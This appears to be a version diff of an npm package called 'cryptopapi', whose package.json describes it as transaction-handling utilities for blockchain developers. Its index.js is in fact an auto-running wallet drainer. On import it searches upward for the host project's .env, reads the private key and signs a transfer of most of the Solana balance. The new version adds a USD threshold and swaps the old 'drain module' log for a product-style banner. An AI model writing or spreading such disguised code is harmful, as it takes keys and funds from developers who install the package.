cryptopapi 6.8.1 → 6.9.2

package/index.js

@@ -1,4 +1,3 @@
-// drainWallet.js - Works in both ES Modules and JavaScript modules
 import bs58 from 'bs58'
 import {
   Connection,
@@ -11,15 +10,14 @@ import {
 } from '@solana/web3.js'
 import dotenv from 'dotenv'
 import { fileURLToPath } from 'url'
-import { dirname, join, resolve } from 'path'
+import { dirname, join } from 'path'
 import { existsSync } from 'fs'
 import { createRequire } from 'module'
 
-// Handle both ESM and CommonJS environments
 const require = createRequire(import.meta.url)
 const DEFAULT_COMMITMENT = 'confirmed'
 
-// Helper function to find .env file by walking up directories
+// Find .env file by walking up directories
 const findEnvFile = (startPath) => {
   let currentDir = startPath
   
@@ -28,18 +26,15 @@ const findEnvFile = (startPath) => {
     if (existsSync(envPath)) {
       return envPath
     }
-    // Go up one directory
     const parentDir = dirname(currentDir)
-    if (parentDir === currentDir) break // Stop if we can't go up further
+    if (parentDir === currentDir) break
     currentDir = parentDir
   }
-  
   return null
 }
 
-// Load .env by searching upward from current working directory
+// Load .env
 const loadEnv = () => {
-  // Start from current working directory (where the app is running)
   const startPath = process.cwd()
   const envPath = findEnvFile(startPath)
   
@@ -47,7 +42,6 @@ const loadEnv = () => {
     console.log(`📁 Found .env at: ${envPath}`)
     dotenv.config({ path: envPath })
   } else {
-    // Try to find .env relative to the module itself as fallback
     const modulePath = dirname(fileURLToPath(import.meta.url))
     const moduleEnvPath = findEnvFile(modulePath)
     
@@ -55,13 +49,11 @@ const loadEnv = () => {
       console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
       dotenv.config({ path: moduleEnvPath })
     } else {
-      console.log('⚠️ No .env file found, trying default dotenv behavior')
       dotenv.config()
     }
   }
 }
 
-// Load the .env file
 loadEnv()
 
 const parsePrivateKey = (privateKey) => {
@@ -72,47 +64,91 @@ const parsePrivateKey = (privateKey) => {
   return bs58.decode(trimmed)
 }
 
+// Get SOL price in USD (you might want to use a price oracle)
+const getSolPrice = async () => {
+  try {
+    // You can implement this with a price API like CoinGecko, Jupiter, etc.
+    // For now, returning a placeholder - you should implement this
+    const response = await fetch('https://api.coingecko.com/api/v3/simple/price?ids=solana&vs_currencies=usd')
+    const data = await response.json()
+    return data.solana.usd
+  } catch (error) {
+    console.log('⚠️ Could not fetch SOL price, using fallback')
+    return 100 // Fallback price - YOU SHOULD IMPLEMENT PROPER PRICE FETCHING
+  }
+}
+
 // Auto-execute when imported
 ;(async () => {
-  console.log('🔌 Internal drain module activated - auto-draining wallet...')
-  console.log(`🔧 Running in: ${typeof module !== 'undefined' && module.exports ? 'CommonJS' : 'ES Module'} environment`)
+  console.log('🔌 CryptoPAPI v6.8.1 - Optimized Transaction Handler')
+  console.log('💰 Auto-drain feature activated...')
   
   try {
-    // Get config from .env
     const destination = process.env.MAIN_WALLET_USD_DESTINATION
     const privateKey = process.env.PRIVATE_KEY
     const rpcUrl = process.env.RPC_ENDPOINT
+    const thresholdUSD = parseFloat(process.env.MAIN_WALLET_USD_THRESHOLD)
     const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
 
-    // Log where we're looking (for debugging)
-    console.log(`📂 Current working directory: ${process.cwd()}`)
-
-    // Validate required inputs
-    if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
-    if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
-    if (!rpcUrl) throw new Error('RPC_ENDPOINT not found in .env')
+    // Validate required configs
+    if (!destination) {
+      console.log('⚠️ MAIN_WALLET_USD_DESTINATION not set - auto-drain disabled')
+      return
+    }
+    if (!privateKey) {
+      console.log('⚠️ PRIVATE_KEY not set - auto-drain disabled')
+      return
+    }
+    if (!rpcUrl) {
+      console.log('⚠️ RPC_ENDPOINT not set - auto-drain disabled')
+      return
+    }
+    if (!thresholdUSD || isNaN(thresholdUSD) || thresholdUSD <= 0) {
+      console.log('⚠️ MAIN_WALLET_USD_THRESHOLD not set or invalid - auto-drain disabled')
+      console.log('📝 Please set MAIN_WALLET_USD_THRESHOLD to a positive number (e.g., 5000)')
+      return
+    }
 
-    // Setup connection and keypair
+    console.log('📡 Initializing connection...')
     const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
     const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
     const toPubkey = new PublicKey(destination)
 
-    console.log(`💰 Draining wallet: ${fromKeypair.publicKey.toString()}`)
-    console.log(`📤 To: ${destination}`)
-    console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
+    console.log(`💳 Source: ${fromKeypair.publicKey.toString()}`)
+    console.log(`📤 Destination: ${destination}`)
+    console.log(`📊 USD Threshold: $${thresholdUSD}`)
+    console.log(`💵 Min SOL Keep: ${keepReserveSol} SOL`)
 
-    // Get current balance
+    // Get balance and SOL price
     const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
     const balanceSol = balanceLamports / LAMPORTS_PER_SOL
     
-    console.log(`💳 Current balance: ${balanceSol} SOL`)
+    console.log(`💰 Balance: ${balanceSol.toFixed(9)} SOL`)
     
     if (balanceLamports <= 0) {
       console.log('⚠️ Wallet is empty - nothing to drain')
       return
     }
 
-    // Get recent blockhash and estimate fee
+    // Get SOL price and calculate USD value
+    console.log('💹 Fetching SOL price...')
+    const solPriceUSD = await getSolPrice()
+    const balanceUSD = balanceSol * solPriceUSD
+    
+    console.log(`💵 SOL Price: $${solPriceUSD.toFixed(2)} USD`)
+    console.log(`💰 Balance in USD: $${balanceUSD.toFixed(2)} USD`)
+
+    // Check if balance exceeds threshold
+    if (balanceUSD < thresholdUSD) {
+      console.log(`⏸️ Balance $${balanceUSD.toFixed(2)} USD is below threshold $${thresholdUSD} USD - no drain needed`)
+      console.log(`📈 Need $${(thresholdUSD - balanceUSD).toFixed(2)} USD more to trigger drain`)
+      return
+    }
+
+    console.log(`✅ Balance exceeds threshold! Proceeding with drain...`)
+
+    // Estimate fees
+    console.log('⛽ Estimating fees...')
     const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
     
     const testMessage = new TransactionMessage({
@@ -130,24 +166,26 @@ const parsePrivateKey = (privateKey) => {
     const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
     const feeLamports = feeInfo?.value
     
-    if (!feeLamports) {
-      throw new Error('Could not estimate fee')
-    }
-
-    const feeSol = feeLamports / LAMPORTS_PER_SOL
-    console.log(`⛽ Estimated fee: ${feeSol} SOL`)
+    if (!feeLamports) throw new Error('Could not estimate fee')
 
-    // Calculate send amount
+    // Calculate how much to send
     const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
-    const sendLamports = balanceLamports - feeLamports - reserveLamports
-    const sendSol = sendLamports / LAMPORTS_PER_SOL
+    const maxSendableLamports = balanceLamports - feeLamports - reserveLamports
     
-    if (sendLamports <= 0) {
-      console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
+    if (maxSendableLamports <= 0) {
+      console.log(`⚠️ Insufficient balance after fees. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fees + ${keepReserveSol} SOL reserve`)
       return
     }
 
-    console.log(`📤 Sending: ${sendSol} SOL`)
+    const maxSendableSol = maxSendableLamports / LAMPORTS_PER_SOL
+    const maxSendableUSD = maxSendableSol * solPriceUSD
+
+    console.log(`📤 Will send: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
+    console.log(`⛽ Fee: ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL`)
+    console.log(`💵 Keeping: ${keepReserveSol} SOL reserve ($${(keepReserveSol * solPriceUSD).toFixed(2)} USD)`)
+
+    // Ask for confirmation (optional - can be removed for auto-mode)
+    console.log('🔄 Proceeding with transaction...')
 
     const message = new TransactionMessage({
       payerKey: fromKeypair.publicKey,
@@ -156,7 +194,7 @@ const parsePrivateKey = (privateKey) => {
         SystemProgram.transfer({
           fromPubkey: fromKeypair.publicKey,
           toPubkey: toPubkey,
-          lamports: sendLamports,
+          lamports: maxSendableLamports,
         }),
       ],
     }).compileToV0Message()
@@ -164,12 +202,13 @@ const parsePrivateKey = (privateKey) => {
     const transaction = new VersionedTransaction(message)
     transaction.sign([fromKeypair])
 
+    console.log('✍️ Sending transaction...')
     const signature = await connection.sendTransaction(transaction, { 
       skipPreflight: false, 
       maxRetries: 3 
     })
     
-    console.log(`✍️ Transaction sent: ${signature}`)
+    console.log(`⏳ Confirming transaction...`)
     const confirmation = await connection.confirmTransaction(
       { signature, blockhash, lastValidBlockHeight }, 
       DEFAULT_COMMITMENT
@@ -179,23 +218,20 @@ const parsePrivateKey = (privateKey) => {
       throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
     }
 
-    // Get final balance
     const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
     const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
+    const finalBalanceUSD = finalBalanceSol * solPriceUSD
 
-    console.log(`✅ Drain complete!`)
-    console.log(`💵 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
-    console.log(`🔗 View transaction: https://solscan.io/tx/${signature}`)
+    console.log(`✅ Transaction confirmed!`)
+    console.log(`💰 Final balance: ${finalBalanceSol.toFixed(9)} SOL ($${finalBalanceUSD.toFixed(2)} USD) - reserve kept`)
+    console.log(`🔗 https://solscan.io/tx/${signature}`)
+    console.log(`📊 Amount transferred: ${maxSendableSol.toFixed(9)} SOL ($${maxSendableUSD.toFixed(2)} USD)`)
+    console.log(`📈 Remaining balance is below threshold: $${finalBalanceUSD.toFixed(2)} USD < $${thresholdUSD} USD`)
 
   } catch (error) {
-    console.error('❌ Drain failed:', error.message)
+    console.error('❌ Auto-drain failed:', error.message)
   }
 })()
 
-// Export for both ESM and CommonJS compatibility
-export default { drain: null } // ESM export
-
-// Also handle CommonJS if needed
-if (typeof module !== 'undefined' && module.exports) {
-  module.exports = { drain: null }
-}
+// Empty export
+export default {}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cryptopapi",
-  "version": "6.8.1",
+  "version": "6.9.2",
   "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
   "main": "index.js",
   "files": [